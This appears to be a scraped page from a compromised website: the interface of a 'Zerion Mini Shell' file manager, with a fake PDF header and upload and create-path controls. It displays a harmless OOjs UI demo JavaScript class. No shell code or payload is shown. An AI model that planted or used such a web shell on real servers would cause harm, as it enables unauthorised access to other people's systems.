%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /www/varak.net/wiki.varak.net/vendor/oojs/oojs-ui/demos/classes/
Upload File :
Create Path :
Current File : //www/varak.net/wiki.varak.net/vendor/oojs/oojs-ui/demos/classes/SamplePage.js

Demo.SamplePage = function DemoSamplePage( name, config ) {
	config = $.extend( { label: 'Sample page' }, config );
	Demo.SamplePage.parent.apply( this, arguments );
	this.label = config.label;
	this.level = config.level;
	this.icon = config.icon;
	if ( this.$element.is( ':empty' ) ) {
		this.$element.text( this.label );
	}
};
OO.inheritClass( Demo.SamplePage, OO.ui.PageLayout );
Demo.SamplePage.prototype.setupOutlineItem = function ( outlineItem ) {
	Demo.SamplePage.parent.prototype.setupOutlineItem.call( this, outlineItem );
	this.outlineItem
		.setMovable( true )
		.setRemovable( true )
		.setIcon( this.icon )
		.setLevel( this.level )
		.setLabel( this.label );
};

Zerion Mini Shell 1.0